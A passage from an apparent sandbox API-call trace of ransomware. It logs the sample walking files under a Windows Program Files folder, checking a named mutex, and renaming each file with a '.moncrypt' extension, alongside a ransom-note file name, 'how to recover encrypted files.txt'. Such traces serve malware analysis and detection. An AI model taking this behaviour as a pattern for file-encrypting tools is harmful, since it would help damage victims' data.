lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.909] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.909] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png", dwFileAttributes=0x20) returned 0 [0057.936] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.937] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\background.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\background.png.moncrypt")) returned 0 [0057.937] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7116fa23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7116fa23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2a88, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0057.937] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.937] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.937] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.937] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.937] GlobalUnlock (hMem=0x44000c) returned 0 [0057.937] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.937] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.937] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.937] GlobalUnlock (hMem=0x44000c) returned 0 [0057.937] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.937] GlobalUnlock (hMem=0x440004) returned 0 [0057.937] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.938] CharLowerBuffW (in: lpsz="btn-back-static.png", cchLength=0x13 | out: lpsz="btn-back-static.png") returned 0x13 [0057.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.938] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png", cchWideChar=72, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.pngr", lpUsedDefaultChar=0x0) returned 72 [0057.938] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Memories\\btn-back-static.pngr", lpUsedDefaultChar=0x0) returned 4 [0057.939] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7116fa23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7116fa23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2a88, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 0x54e280 [0057.939] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.939] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.939] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.939] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png", dwFileAttributes=0x20) returned 0 [0057.939] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.939] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-back-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-back-static.png.moncrypt")) returned 0 [0057.940] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7116fa23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7116fa23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x280e, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0057.940] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.940] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.940] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.940] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.940] GlobalUnlock (hMem=0x440004) returned 0 [0057.940] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.940] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.940] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.940] GlobalUnlock (hMem=0x440004) returned 0 [0057.940] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.940] GlobalUnlock (hMem=0x44000c) returned 0 [0057.940] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.940] CharLowerBuffW (in: lpsz="btn-next-static.png", cchLength=0x13 | out: lpsz="btn-next-static.png") returned 0x13 [0057.940] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.940] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.940] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.940] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.940] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.940] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.940] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.940] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.945] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.945] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.945] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.945] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.946] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.946] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.946] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.946] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.946] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.946] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.946] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.946] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.946] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png", cchWideChar=72, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.pngr", lpUsedDefaultChar=0x0) returned 72 [0057.946] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.946] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Memories\\btn-next-static.pngr", lpUsedDefaultChar=0x0) returned 4 [0057.946] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7116fa23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7116fa23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x280e, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 0x54e280 [0057.946] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.946] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.946] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.946] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png", dwFileAttributes=0x20) returned 0 [0057.947] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.947] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-next-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-next-static.png.moncrypt")) returned 0 [0057.947] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711bbcdd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711bbcdd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2808, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0057.947] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.947] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.947] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.947] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.947] GlobalUnlock (hMem=0x44000c) returned 0 [0057.947] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.947] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.947] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.948] GlobalUnlock (hMem=0x44000c) returned 0 [0057.948] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.948] GlobalUnlock (hMem=0x440004) returned 0 [0057.948] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.948] CharLowerBuffW (in: lpsz="btn-previous-static.png", cchLength=0x17 | out: lpsz="btn-previous-static.png") returned 0x17 [0057.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 